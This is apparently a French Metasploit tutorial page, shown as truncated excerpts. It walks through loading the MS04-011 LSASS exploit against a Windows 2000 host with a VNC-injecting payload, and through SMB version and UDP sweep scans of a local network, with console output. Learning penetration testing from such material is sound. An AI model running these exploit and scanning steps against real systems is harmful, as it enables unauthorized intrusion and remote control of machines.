Metasploit

Code :
msf exploit(ms04_011_lsass) > show options
Module options:

Name Current Setting Required Description
—- ————— ——– ———–
RHOST 192.168.1.4 yes The target address
RPORT 445 yes Set the SMB service port

Payload options:

Name Current Setting Required Description
—- ————— ——– ———–
AUTOVNC true…[Read more]

IV – Exemple d’exploitation

Dans cet exemple on exploitera une vulnérabilité du service LSASS dans Windows 2000 Pro pour charger une DLL dans laquelle est encapsulé un serveur VNC.

On ouvre une console Metasploit:
Code :
./msfconsole

On va exploiter la vulnérabilité ms04_011_lsass:
Code :
msf > use exploit/windows/smb/ms04_011_lsass

On spéc…[Read more]

Pour le deuxième hôte:
Code :
msf auxiliary(udp_sweep) > use auxiliary/scanner/smb/smb_version
msf auxiliary(smb_version) > set RHOSTS 192.168.1.4
RHOSTS => 192.168.1.4
msf auxiliary(smb_version) > run

192.168.1.4:139 is running Windows 2000 Pro (language:Unknown) (name:BIBA) (domain:WTF)

Auxiliary module execution completed

On lance avec la cmd run après avoir spécifié la plage d’IPs distantes avec set RHOSTS xxx.xxx.xxx.xxx/xxx
Ce qui vous donne les noms, adresses MACs de toutes les machines scannées.

Un autre exemple avec le module smb_version pour nous donner le nom du système installé sur l’hôte choisi:
Code :
msf auxiliary(udp_sweep) > use auxili…[Read more]

Code :
msf > use auxiliary/scanner/discovery/udp_sweep
msf auxiliary(udp_sweep) > set RHOSTS 192.168.1.0/24
RHOSTS => 192.168.1.0/24
msf auxiliary(udp_sweep) > run

Sending 10 probes to 192.168.1.0->192.168.1.255 (256 hosts)

Discovered NetBIOS on 192.168.1.3:137(<Name>ITCEF<domain>ALLAH<MAC>xx:xx:xx:xx:xx:xx:xx)

Discovered NetBIOS on…[Read more]